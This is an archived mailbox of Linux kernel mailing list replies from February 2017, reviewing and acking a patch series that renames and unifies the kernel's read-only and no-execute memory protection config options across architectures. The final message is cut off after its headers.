>  	select ARCH_HAS_MMIO_FLUSH
>  	select ARCH_HAS_PMEM_API		if X86_64
>  	select ARCH_HAS_SG_CHAIN
> +	select ARCH_HAS_STRICT_KERNEL_RWX
> +	select ARCH_HAS_STRICT_MODULE_RWX
>  	select ARCH_HAS_UBSAN_SANITIZE_ALL
>  	select ARCH_HAVE_NMI_SAFE_CMPXCHG
>  	select ARCH_MIGHT_HAVE_ACPI_PDC		if ACPI
> @@ -309,9 +311,6 @@ config ARCH_SUPPORTS_UPROBES
>  config FIX_EARLYCON_MEM
>  	def_bool y
>  
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config PGTABLE_LEVELS
>  	int
>  	default 4 if X86_64
> diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
> index 67eec55..69cdd0b 100644
> --- a/arch/x86/Kconfig.debug
> +++ b/arch/x86/Kconfig.debug
> @@ -109,17 +109,6 @@ config DEBUG_WX
>  
>  	  If in doubt, say "Y".
>  
> -config DEBUG_SET_MODULE_RONX
> -	bool "Set loadable kernel module data as NX and text as RO"
> -	depends on MODULES
> -	---help---
> -	  This option helps catch unintended modifications to loadable
> -	  kernel module's text and read-only data. It also prevents execution
> -	  of module data. Such protection may interfere with run-time code
> -	  patching and dynamic kernel tracing - and they might also protect
> -	  against certain classes of kernel exploits.
> -	  If in doubt, say "N".
> -
>  config DEBUG_NX_TEST
>  	tristate "Testcase for the NX non-executable stack feature"
>  	depends on DEBUG_KERNEL && m
> -- 
> 2.7.4
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Rutland <mark.rutland@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 2/2] arch: Rename CONFIG_DEBUG_RODATA and
 CONFIG_DEBUG_MODULE_RONX
Date: Fri, 3 Feb 2017 18:26:49 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <20170203182648.GB26578@leverpostej>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486146483 5266 195.159.176.226 (3 Feb 2017 18:28:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 18:28:03 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Kees Cook <keescook@chromium.org>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-arm-kernel@lists.i
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 19:27:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZiaQ-0008FH-LK
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Feb 2017 19:27:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751703AbdBCS2A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 13:28:00 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:57368 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750995AbdBCS16 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 13:27:58 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 5B0CBAD7;
        Fri,  3 Feb 2017 10:27:57 -0800 (PST)
Original-Received: from leverpostej (usa-sjc-imap-foss1.foss.arm.com [10.72.51.249])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 52C393F477;
        Fri,  3 Feb 2017 10:27:53 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1486144343-24998-3-git-send-email-labbott@redhat.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27252 gmane.linux.documentation:44714 gmane.linux.kernel:2403046 gmane.linux.ports.arm.kernel:556850 gmane.linux.power-management.general:86136 gmane.linux.kernel.hardened.devel:5434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27252>

On Fri, Feb 03, 2017 at 09:52:22AM -0800, Laura Abbott wrote:
> 
> Both of these options are poorly named. The features they provide are
> necessary for system security and should not be considered debug only.
> Change the name to something that accurately describes what these
> options do.
> 
> Signed-off-by: Laura Abbott <labbott@redhat.com>

As with patch 1, this looks good to me. FWIW:

Acked-by: Mark Rutland <mark.rutland@arm.com>

> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
> index 939815e..560a8d8 100644
> --- a/arch/arm64/Kconfig.debug
> +++ b/arch/arm64/Kconfig.debug
> @@ -72,7 +72,7 @@ config DEBUG_WX
>  	  If in doubt, say "Y".
>  
>  config DEBUG_ALIGN_RODATA
> -	depends on DEBUG_RODATA
> +	depends on STRICT_KERNEL_RWX
>  	bool "Align linker sections up to SECTION_SIZE"
>  	help
>  	  If this option is enabled, sections that may potentially be marked as
> diff --git a/arch/arm64/kernel/insn.c b/arch/arm64/kernel/insn.c
> index 94b62c1..67f9cb9 100644
> --- a/arch/arm64/kernel/insn.c
> +++ b/arch/arm64/kernel/insn.c
> @@ -93,7 +93,7 @@ static void __kprobes *patch_map(void *addr, int fixmap)
>  	bool module = !core_kernel_text(uintaddr);
>  	struct page *page;
>  
> -	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
> +	if (module && IS_ENABLED(CONFIG_STRICT_MODULE_RWX))
>  		page = vmalloc_to_page(addr);
>  	else if (!module)
>  		page = pfn_to_page(PHYS_PFN(__pa(addr)));

Since CONFIG_STRICT_MODULE_RWX is mandatory for arm64, we should be able
to simplify this, but that can wait for a later patch.

Thanks,
Mark.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 11:45:56 -0800
Lines: 57
Approved: news@gmane.org
Message-ID: <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com> <1486144343-24998-2-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486151162 20157 195.159.176.226 (3 Feb 2017 19:46:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 19:46:02 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 20:45:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZjnv-0003Nl-7F
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Feb 2017 20:45:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751718AbdBCTqA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 14:46:00 -0500
Original-Received: from mail-io0-f169.google.com ([209.85.223.169]:34037 "EHLO
        mail-io0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752041AbdBCTp6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 14:45:58 -0500
Original-Received: by mail-io0-f169.google.com with SMTP id l66so25569645ioi.1
        for <linux-parisc@vger.kernel.org>; Fri, 03 Feb 2017 11:45:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=XPhJDtc+Yzx6M6OA79ieTjSoQpEPCSEdh3GDKduDjVU=;
        b=G1z5zJuIQrPqG7jaqVY1zmGKrREIFhPiFIpysluXhUMzf2mv3QWBR7DfWKGSh6biR1
         40jYN/2NU5q6qAhqIhDlBc1cpKhdudcNI+pfdbYUaXpTEbTqA9gLfp1wfF5y2ReY1MlR
         2NMm621GMTfvNa00i2hda5Z3uBPSuGdbfeuvRWwDQG0Leib6R/uA2g29YzJ+WMUg/T3E
         ZubyKPXhjM0bkWm0dEavCKOJmb+3gt49gl8rH62ZdpfkvFZPgDujjksk/YCkkswbBBNx
         OU7fHtI7uycDaOSetSqowyQLyyEr4S56wxBY66pWVZcCMgiO4VomFjE7VxYtve3o250Y
         c3iw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=XPhJDtc+Yzx6M6OA79ieTjSoQpEPCSEdh3GDKduDjVU=;
        b=XCw5LnlbfCh5AjX80i9c/cRz6kP6KuQqFAjfpbvB1AlD1l8NxR3DGuw4wSHBVKwO0k
         zBjwDFTfrkbCFfUBZtpJRyvhS/Se1n6j6g7dlWPMtjU5wCAULxSHaDK8VTRKd4ivWiWE
         8gZ0ESsXLjl717e8c9SW4kc4G0jcAI1+1NO7M=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=XPhJDtc+Yzx6M6OA79ieTjSoQpEPCSEdh3GDKduDjVU=;
        b=asqrNolbCbh64e8fy4c/cZjQxxLNQSb54B3w4Q7+/EniUAZoML0zQC7JMEOy5EPOTY
         Ou3vKonALFaXji6E3VMwBnPc6dI70AMiRYdn/HfFIv0jczI/sDdbsswcUZJejt1A6vvx
         wgqYg4RUhmqj9Na3yfBL2cGF8lUD7G7KXWEZo8SsVxWO8Go0CPooZ+sG8n9P+JXLJkZm
         vsWFKGIzg56RY1LZaO2h0p4kCYQe8fhE/xV6ufUVSFT/mcVQPPDOh6Y8+U7InmhnG8rR
         9ajwpwEfAvdvq+DTbKwSoOutIvqZeqF7NLS3MpJuzzkVmAe1o9SVsfS8Z9hG1WzDYiZc
         nwKQ==
X-Gm-Message-State: AIkVDXK+oKqf2EMFR51MmM2xTCF2IZ+y0fDdpy61RD7sKlwLCNMINf/K30hUKpJvlZgizU5nKNkw0ns6yCOmYHQd
X-Received: by 10.107.172.7 with SMTP id v7mr13339428ioe.49.1486151157311;
 Fri, 03 Feb 2017 11:45:57 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Fri, 3 Feb 2017 11:45:56 -0800 (PST)
In-Reply-To: <1486144343-24998-2-git-send-email-labbott@redhat.com>
X-Google-Sender-Auth: 5DR5h65FWBJaZo1uvYH8O5QjsaA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27253 gmane.linux.documentation:44717 gmane.linux.kernel:2403084 gmane.linux.ports.arm.kernel:556866 gmane.linux.power-management.general:86138 gmane.linux.kernel.hardened.devel:5437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27253>

On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
> There are multiple architectures that support CONFIG_DEBUG_RODATA and
> CONFIG_SET_MODULE_RONX. These options also now have the ability to be
> turned off at runtime. Move these to an architecture independent
> location and make these options def_bool y for almost all of those
> arches.
>
> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---
> v2: This patch is now doing just the refactor of the existing config options.
> ---
>  arch/Kconfig              | 28 ++++++++++++++++++++++++++++
>  arch/arm/Kconfig          |  3 +++
>  arch/arm/Kconfig.debug    | 11 -----------
>  arch/arm/mm/Kconfig       | 12 ------------
>  arch/arm64/Kconfig        |  5 ++---
>  arch/arm64/Kconfig.debug  | 11 -----------
>  arch/parisc/Kconfig       |  1 +
>  arch/parisc/Kconfig.debug | 11 -----------
>  arch/s390/Kconfig         |  5 ++---
>  arch/s390/Kconfig.debug   |  3 ---
>  arch/x86/Kconfig          |  5 ++---
>  arch/x86/Kconfig.debug    | 11 -----------
>  12 files changed, 38 insertions(+), 68 deletions(-)
>
> diff --git a/arch/Kconfig b/arch/Kconfig
> index 99839c2..22ee01e 100644
> --- a/arch/Kconfig
> +++ b/arch/Kconfig
> @@ -781,4 +781,32 @@ config VMAP_STACK
>           the stack to map directly to the KASAN shadow map using a formula
>           that is incorrect if the stack is in vmalloc space.
>
> +config ARCH_NO_STRICT_RWX_DEFAULTS
> +       def_bool n
> +
> +config ARCH_HAS_STRICT_KERNEL_RWX
> +       def_bool n
> +
> +config DEBUG_RODATA
> +       def_bool y if !ARCH_NO_STRICT_RWX_DEFAULTS
> +       prompt "Make kernel text and rodata read-only" if ARCH_NO_STRICT_RWX_DEFAULTS

Ah! Yes, perfect. I totally forgot about using conditional "prompt" lines. Nice!

Acked-by: Kees Cook <keescook@chromium.org>

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCHv2 2/2] arch: Rename CONFIG_DEBUG_RODATA and CONFIG_DEBUG_MODULE_RONX
Date: Fri, 3 Feb 2017 12:03:16 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <CAGXu5j+BX_+ymWQztqtOQE-A8yFuR5sdL++46wOvi-iBGLEK-A@mail.gmail.com>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com> <1486144343-24998-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486152202 6919 195.159.176.226 (3 Feb 2017 20:03:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 20:03:22 +0000 (UTC)
Cc: Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>,
        "linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 03 21:03:16 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZk4g-0003Xi-TV
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Feb 2017 21:03:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752062AbdBCUDU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Feb 2017 15:03:20 -0500
Original-Received: from mail-io0-f175.google.com ([209.85.223.175]:35380 "EHLO
        mail-io0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752073AbdBCUDR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Feb 2017 15:03:17 -0500
Original-Received: by mail-io0-f175.google.com with SMTP id j18so25840476ioe.2
        for <linux-parisc@vger.kernel.org>; Fri, 03 Feb 2017 12:03:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=shrkV0kCG08M5xcZTFiMrzFaGjIV/JGA0CNH5fkz0MY=;
        b=UfOREAPp9ChobUshPPbIUtwuPF5juEUH3wLdiL8JNm2mLGDtvAWmXS5kOEL2KzGsqM
         ZXtKO/eoyJcgHP+ynC2RSOzoTaAHv4ZyfbaMZSdfC1pCmATL0LwaMVLw1FQx/A5F+X4a
         yQ7WazuCqq6rBaWOCtXMzl+uikKHP8ngAlSqn3tbM8ekN2N2gUB27IOlPkFY2MDDocTF
         34RsR2Gp6y0yBEI1tFkEAyLor/KCA04RpXDh71nl8pjB0vuY+mlCNqPext8lWvC3gFfb
         IM/gLylhg40uzOz8QnSJFDi9nGHRn36oneOSVwg7cN7E4J+e5YiSsSZ82b75Z6cbHqXH
         nEiA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=shrkV0kCG08M5xcZTFiMrzFaGjIV/JGA0CNH5fkz0MY=;
        b=S9LJSq4rkj6Hbp7WbDBwRyD/ytdZaEgvYnvT2qCC8ijBZWT6Xr33Ce00N29iJgF9Na
         FrPrPxCCBErfPKQgz4hm+/kWe9LBRMMuakQ+4zOUC29YJe0jxwWwxgQY3SjO63euWY88
         aJKQI1wrb4fA/JUGxP0FpK5dKVbVcWxen0vt4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=shrkV0kCG08M5xcZTFiMrzFaGjIV/JGA0CNH5fkz0MY=;
        b=rtWbY90agjmWGfsyfFOzmIZWLSh18jaQ9PmPZm6QaQzHZUCQb6/eUDwCv0/z3zG/Hj
         gQojUO6p5Ad7xugJKiGH6qFC0lqfAYuNd2Xbncq8Xv3NfdkvoQI7aA0C5IPZlVd1dslA
         dWBgzy1e1AiT6/0+AF+C5WnVyjudFJJZeBJtU+HrN6AO/cS7cDoUzyCZVMp5rRRYl/l2
         iGVAfkFDsUbn/2KqUkInX9yJDvgf4Iyuv03HNdzLVHpk5ABd/mW9kgmlerE6yl6lAA5V
         xx0tEBW8ZRvYhwhLhMB/oewV7vOPFmzHb9TdAUmQOnC4w/m3at6IByhLijGuKAxgr7eM
         FGfg==
X-Gm-Message-State: AIkVDXLsrprkArgYsx1HjcIUJPdxa9d90slBnNXp6hItb9dI7gFeWsMD8CbpD6PjLE0rc7x4V9aLJEId6Y4o6bjR
X-Received: by 10.107.12.88 with SMTP id w85mr11179365ioi.96.1486152196525;
 Fri, 03 Feb 2017 12:03:16 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Fri, 3 Feb 2017 12:03:16 -0800 (PST)
In-Reply-To: <1486144343-24998-3-git-send-email-labbott@redhat.com>
X-Google-Sender-Auth: 6r_7QF1AFkUQsi9G4caGxLfi46Y
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27254 gmane.linux.documentation:44718 gmane.linux.kernel:2403101 gmane.linux.ports.arm.kernel:556878 gmane.linux.power-management.general:86139 gmane.linux.kernel.hardened.devel:5438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27254>

On Fri, Feb 3, 2017 at 9:52 AM, Laura Abbott <labbott@redhat.com> wrote:
>
> Both of these options are poorly named. The features they provide are
> necessary for system security and should not be considered debug only.
> Change the name to something that accurately describes what these
> options do.

It may help to explicitly call out the name change from/to in the
commit message.

>
> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---
> [...]
> diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspeed_g4_defconfig
> index ca39c04..beea2cc 100644
> --- a/arch/arm/configs/aspeed_g4_defconfig
> +++ b/arch/arm/configs/aspeed_g4_defconfig
> @@ -25,7 +25,6 @@ CONFIG_MODULE_UNLOAD=y
>  # CONFIG_ARCH_MULTI_V7 is not set
>  CONFIG_ARCH_ASPEED=y
>  CONFIG_MACH_ASPEED_G4=y
> -CONFIG_DEBUG_RODATA=y
>  CONFIG_AEABI=y
>  CONFIG_UACCESS_WITH_MEMCPY=y
>  CONFIG_SECCOMP=y

Are these defconfig cases correct (dropping DEBUG_RODATA without
adding STRICT_KERNEL_RWX)?

Who should carry this series, btw?

-Kees

-- 
Kees Cook
Pixel Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCHv2 1/2] arch: Move CONFIG_DEBUG_RODATA and
 CONFIG_SET_MODULE_RONX to be common
Date: Fri, 3 Feb 2017 20:29:19 +0000
Lines: 78
Approved: news@gmane.org
Message-ID: <20170203202919.GE27312@n2100.armlinux.org.uk>
References: <1486144343-24998-1-git-send-email-labbott@redhat.com>
 <1486144343-24998-2-git-send-email-labbott@redhat.com>
 <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1486153840 11229 195.159.176.226 (3 Feb 2017 20:30:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 20:30:40 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Laura Abbott <labbott@redhat.com>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>,
	"x86@kernel.org" <x86@kernel.org>, Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
	Mark Rutland <mark.rutland@arm.com>, Jessica Yu <jeyu@redhat.com>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	LKML <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>,
	linux-pa
To: Kees Cook <keescook@chromium.org>
Original-X-From: kernel-hardening-return-6286-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Fri Feb 03 21:30:33 2017
Return-path: <kernel-hardening-return-6286-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6286-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cZkV6-0002dZ-Tl
	for glkh-kernel-hardening@m.gmane.org; Fri, 03 Feb 2017 21:30:33 +0100
Original-Received: (qmail 19511 invoked by uid 550); 3 Feb 2017 20:30:37 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 19488 invoked from network); 3 Feb 2017 20:30:36 -0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=EE9e1JbBWpZDGvC6VtzLeAVyX4UZrL+jqGjoTKMB0Ls=;
	b=NEaxb+/3VN8pkAVzqZAyoAvvrTga9oz7Fp56QCxX6Ke3zeCh4kkh4tC2iS+nmduoASXiUjvUJlp+UXD/xZjB9Wdf19eVq/kTw4TVIO7CKDjYJinTkuzOhUy53JPeBkLBci5IWu8Jfa/Fh69HjhqBQKaCBGdwbqWTPGmynqmfBQs=;
Content-Disposition: inline
In-Reply-To: <CAGXu5jK6_y=dWHUDBto7ykN_sSOQ6Gx+sZs_gQ1Hoh5DjP-fTw@mail.gmail.com>
Original-Sender: Russell King - ARM Linux <linux@armlinux.org.uk>
